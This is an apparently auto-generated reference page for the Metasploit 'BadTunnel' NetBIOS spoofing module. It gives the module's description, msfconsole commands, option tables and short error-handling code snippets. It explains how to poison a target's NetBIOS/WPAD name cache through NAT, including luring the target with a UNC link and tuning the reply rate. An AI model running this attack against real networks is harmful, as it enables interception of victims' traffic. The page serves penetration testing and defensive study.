NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel) - Metasploit


This page contains detailed information about how to use the auxiliary/server/netbios_spoof_nat metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)
Module: auxiliary/server/netbios_spoof_nat
Source code: modules/auxiliary/server/netbios_spoof_nat.rb
Disclosure date: 2016-06-14
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-3213, CVE-2016-3236

This module listens for a NetBIOS name request and then continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. On high-speed networks, the PPSRATE value should be increased to speed up this attack. As an example, a value of around 30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup. Distant targets may require more time and lower rates for a successful attack. This module works when the target is behind a NAT gateway, since the stream of NetBIOS responses will keep the NAT mapping alive after the initial setup. To trigger the initial NetBIOS request to the Metasploit system, force the target to access a UNC link pointing to the same address (HTML, Office attachment, etc). This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer, Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way that the proxy host (WPAD) host is identified, but do change the predictability of NetBIOS requests.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/server/netbios_spoof_nat
msf auxiliary(netbios_spoof_nat) > show targets
    ... a list of targets ...
msf auxiliary(netbios_spoof_nat) > set TARGET target-id
msf auxiliary(netbios_spoof_nat) > show options
    ... show and set options ...
msf auxiliary(netbios_spoof_nat) > exploit

Go back to menu.

Msfconsole Usage


Here is how the server/netbios_spoof_nat auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/netbios_spoof_nat

msf6 auxiliary(server/netbios_spoof_nat) > show info

       Name: NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)
     Module: auxiliary/server/netbios_spoof_nat
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-06-14

Provided by:
  vvalien
  hdm <[email protected]>
  tombkeeper

Available actions:
  Name     Description
  ----     -----------
  Service  Run listener for NetBIOS requests and respond to them

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  NBADDR   192.168.204.3    yes       The address that the NetBIOS name should resolve to
  NBNAME   WPAD             yes       The NetBIOS name to spoof a reply for
  PPSRATE  1000             yes       The rate at which to send NetBIOS replies
  SRVHOST  0.0.0.0          yes       The local host to listen on.
  SRVPORT  137              yes       The local port to listen on.

Description:
  This module listens for a NetBIOS name request and then continuously 
  spams NetBIOS responses to a target for given hostname, causing the 
  target to cache a malicious address for this name. On high-speed 
  networks, the PPSRATE value should be increased to speed up this 
  attack. As an example, a value of around 30,000 is almost 100% 
  successful when spoofing a response for a 'WPAD' lookup. Distant 
  targets may require more time and lower rates for a successful 
  attack. This module works when the target is behind a NAT gateway, 
  since the stream of NetBIOS responses will keep the NAT mapping 
  alive after the initial setup. To trigger the initial NetBIOS 
  request to the Metasploit system, force the target to access a UNC 
  link pointing to the same address (HTML, Office attachment, etc). 
  This NAT-piercing issue was named the 'BadTunnel' vulnerability by 
  the discoverer, Yu Yang (@tombkeeper). The Microsoft patches 
  (MS16-063/MS16-077) impact the way that the proxy host (WPAD) host 
  is identified, but do change the predictability of NetBIOS requests.

References:
  http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/
  https://nvd.nist.gov/vuln/detail/CVE-2016-3213
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/MS16-063
  https://nvd.nist.gov/vuln/detail/CVE-2016-3236
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/MS16-077

Module Options


This is a complete list of options available in the server/netbios_spoof_nat auxiliary module:

msf6 auxiliary(server/netbios_spoof_nat) > show options

Module options (auxiliary/server/netbios_spoof_nat):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   NBADDR   192.168.204.3    yes       The address that the NetBIOS name should resolve to
   NBNAME   WPAD             yes       The NetBIOS name to spoof a reply for
   PPSRATE  1000             yes       The rate at which to send NetBIOS replies
   SRVHOST  0.0.0.0          yes       The local host to listen on.
   SRVPORT  137              yes       The local port to listen on.

Auxiliary action:

   Name     Description
   ----     -----------
   Service  Run listener for NetBIOS requests and respond to them

Advanced Options


Here is a complete list of advanced options supported by the server/netbios_spoof_nat auxiliary module:

msf6 auxiliary(server/netbios_spoof_nat) > show advanced

Module advanced options (auxiliary/server/netbios_spoof_nat):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the server/netbios_spoof_nat module can do:

msf6 auxiliary(server/netbios_spoof_nat) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Service  Run listener for NetBIOS requests and respond to them

Evasion Options


Here is the full list of possible evasion options supported by the server/netbios_spoof_nat auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/netbios_spoof_nat) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "Error <E.CLASS> <E> <E.BACKTRACE>" error message:

96:	      netbios_spam
97:	
98:	    rescue ::Interrupt
99:	      raise $!
100:	    rescue ::Exception => e
101:	      print_error("Error #{e.class} #{e} #{e.backtrace}")
102:	    ensure
103:	      @sock.close if @sock
104:	    end
105:	  end
106:	

Error: Target sent us an ICMP port unreachable, port is likely closed


Here is a relevant code snippet related to the "Error: Target sent us an ICMP port unreachable, port is likely closed" error message:

139:	          pps = (pcnt / (Time.now.to_f - stime)).to_i
140:	          if pps > @targ_rate
141:	            sleep(0.01)
142:	          end
143:	        rescue Errno::ECONNREFUSED
144:	          print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
145:	          live = false
146:	          break
147:	        end
148:	      end
149:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • vvalien
  • hdm
  • tombkeeper

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.